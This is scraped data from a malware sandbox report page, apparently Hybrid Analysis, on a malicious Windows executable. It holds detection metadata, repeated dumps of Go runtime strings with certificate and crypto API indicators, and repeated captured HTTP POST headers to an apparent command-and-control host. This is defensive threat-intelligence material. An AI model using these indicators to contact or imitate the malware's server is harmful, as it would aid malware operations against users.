26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 3c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4c0,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_70% Sample 7edfacac6ff4… — Score 88/100 — Hybrid Analysis","description":"Malicious verdict for sample 7edfacac6ff4…. Malware family: Win/malicious_confidence_70%. Threat score 88/100. 5/27 AV engines flagged this file. 7 malicious and 12 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de","keywords":["Malicious","Win/malicious_confidence_70%","malware analysis","sandbox report","threat intelligence","7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de"],"about":{"@type":"SoftwareApplication","name":"WW26A.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de","additionalType":"Malicious sample"},"threatScore":88,"malwareFamily":"Win/malicious_confidence_70%","antivirusDetections":{"malicious":5,"total":27},"behavioralIndicators":{"malicious":7,"suspicious":12},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T4ed,"m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetProcAddressbloom_set_bitsfile too largeis a directorylevel 2 haltedlevel 3 ha" (Indicator: "CertOpenStore"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "ltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertCloseStore"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "ltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #unsafe.PointeruserArenaStateGC (dedicated)read mem statsupdatemaxprocsasynctimerchangcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CryptGenRandom"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "acreateruntime.semawakeupbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectstrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushedmarkroot: bad indexnwait > work.nprocs, gp->atomicstatus=marking free object KiB work (eager), [controller reset]mspan.sweep: state=sysMemStat overflowbad sequence numberntdll.dll not foundwinmm.dll not foundruntime: g0 stack [panic during mallocpanic holding locksmissing deferreturnunexpected gp.parampanic during panic, g->atomicstatus=unexpected g statusbad runtime" (Indicator: "CryptReleaseContext"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfnv_collisions_16bitxor_collisions_16bitconsensus_matrix_diminvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in gopoly_collisions_16bitlink has been severedpackage not installedblock device requireds" (Indicator: "CertOpenSystemStoreW"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfnv_collisions_16bitxor_collisions_16bitconsensus_matrix_diminvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in gopoly_collisions_16bitlink has been severedpackage not installedblock device requireds" (Indicator: "CryptAcquireContextW"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "ble)send on closed channelcall not at safe pointgetenv before env initinterface conversion: freeIndex is not valids.freeindex > s.nelemsbad sweepgen in refillspan has no free spaceruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=exit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsruntime: internal errorwork.nwa" (Indicator: "CertGetCertificateChain"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "it > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavai" (Indicator: "CertFreeCertificateChain"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of missing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGODEBUG: can not enable "hash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0bad type kind in finalizernegative idle mark workersuse of invalid sw" (Indicator: "CertFreeCertificateContext"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin"), Found api reference "eepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memorychannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStorePageCachePagesLeaked (test)makechan: size out of rangeG waiting list is corruptedM structure uses sizeclass runtime" (Indicator: "CertEnumCertificatesInStore"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gs" (Indicator: "CertCreateCertificateContext"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin"), Found api reference "ntries for abi mismatch detected between runtime: impossible type kind unsafe.Slice: len out of rangeGODEBUG: unknown cpu feature "sync: inconsistent mutex statesync: unlock of unlocked mutexcannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of" (Indicator: "CertAddCertificateContextToStore"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "ntries for abi mismatch detected between runtime: impossible type kind unsafe.Slice: len out of rangeGODEBUG: unknown cpu feature "sync: inconsistent mutex statesync: unlock of unlocked mutexcannot assign requested address.lib section in a.out corruptedslice bounds out of range [:%x]slice bounds out of range [%x:]call from within the Go runtimeinternal error - misuse of itab) not in usable address space: runtime: cannot allocate memorycheckmark found unmarked objectruntime: failed to commit pagespacer: sweep done at heap size non in-use span in unswept listruntime.Pinner: argument is nilcasgstatus: bad incoming valuesresetspinning: not a spinning mruntime: profBuf already closedruntime: split stack overflow: ...additional frames elided...unsafe.String: len out of rangeresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of" (Indicator: "CertVerifyCertificateChainPolicy"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin"), Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace bufferlevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil not value method heap metadata span.base()=bad flushGen created at: not pointer != sweepgen MB globals work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= syscalltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=GetProcAddressbloom_set_bitsfile too largeis a directorylevel 2 haltedlevel 3 h" (Indicator: "CertOpenStore"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfnv_collisions_16bitxor_collisions_16bitconsensus_matrix_diminvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in gopoly_collisions_16bitlink has been severedpackage not installedblock device required" (Indicator: "CertOpenSystemStoreW"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfnv_collisions_16bitxor_collisions_16bitconsensus_matrix_diminvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsfloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spanp mcache not flushed markroot jobs donepacer: assist ratio=workbuf is not emptybad use of bucket.mpbad use of bucket.bppreempt off reason: forcegc: phase errorgopark: bad g statusgo of nil func valuesemaRoot rotateRightreflect.makeFuncStubtrace: out of memorywirep: already in gopoly_collisions_16bitlink has been severedpackage not installedblock device required" (Indicator: "CryptAcquireContextW"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "ble)send on closed channelcall not at safe pointgetenv before env initinterface conversion: freeIndex is not valids.freeindex > s.nelemsbad sweepgen in refillspan has no free spaceruntime: work.nwait = runtime:scanstack: gp=scanstack - bad statusheadTailIndex overflowruntime.main not on m0set_crosscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=exit hook invoked exitdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWindex out of range [%x]ReadMemStatsSlow (test)chan receive (nil chan)garbage collection scanmakechan: bad alignmentclose of closed channelunlock of unlocked lock) must be a power of 2system huge page size (runtime: s.allocCount= s.allocCount > s.nelemsruntime: internal errorwork.nw" (Indicator: "CertGetCertificateChain"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "it > work.nprocleft over markroot jobsgcDrain phase incorrectMB during sweep; swept bad profile stack countruntime: netpoll failedpanic during preemptoffnanotime returning zerofatal: morestack on g0the current g is not g0schedule: holding locksprocresize: invalid argspan has no free stacksstack growth after forkshrinkstack at bad timereflect.methodValueCall" missing CPU supportexit hook invoked panicconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of queuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unava" (Indicator: "CertFreeCertificateChain"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of missing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStartGODEBUG: can not enable "hash of unhashable type: invalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0bad type kind in finalizernegative idle mark workersuse of invalid s" (Indicator: "CertFreeCertificateContext"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin"), Found api reference "unlock: lock countprogToPointerMask: overflowfailed to set sweep barrierwork.nwait was > work.nproc not in stack roots range [allocated pages below zero?address not a stack addressmspan.sweep: bad span stateinvalid profile bucket typeruntime: netpollinit failedruntime: asyncPreemptStack=runtime: thread ID overflowstopTheWorld: holding locksgcstopm: not waiting for gcruntime: checkdead: nmidle=runtime: checkdead: find g runlock of unlocked rwmutexsigsend: inconsistent statemakeslice: len out of rangemakeslice: cap out of rangegrowslice: len out of rangestack size not a power of 2too many callback functionstimer when must be positive: unexpected return pc for file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextGC mark assist wait for workcomparing uncomparable type region exceeds uintptr rangegcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on g" (Indicator: "CertCreateCertificateContext"; File: "7edfacac6ff4e28c472b08f4f9d21f61840ed6cc7ae2ad5f74b62ca58e2256de.bin")29:T6527,Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 47Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 74Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: firewai.biz:48261" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 84Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=B3k0ikikZRsc0ZkUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 907Host: firewai.biz:48261" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=B3k0ikikZRsc0ZkUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 907Host: firewai.biz:48261" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=B3k0ikikZRsc0ZkUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 907Host: firewai.biz:48261" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=B3k0ikikZRsc0ZkUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 907Host: firewai.biz:48261" Contains base64 string in header "data" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=B3k0ikikZRsc0ZkUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 907Host: firewai.biz:48261" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=B3k0ikikZRsc0ZkUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 907Host: firewai.biz:48261" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 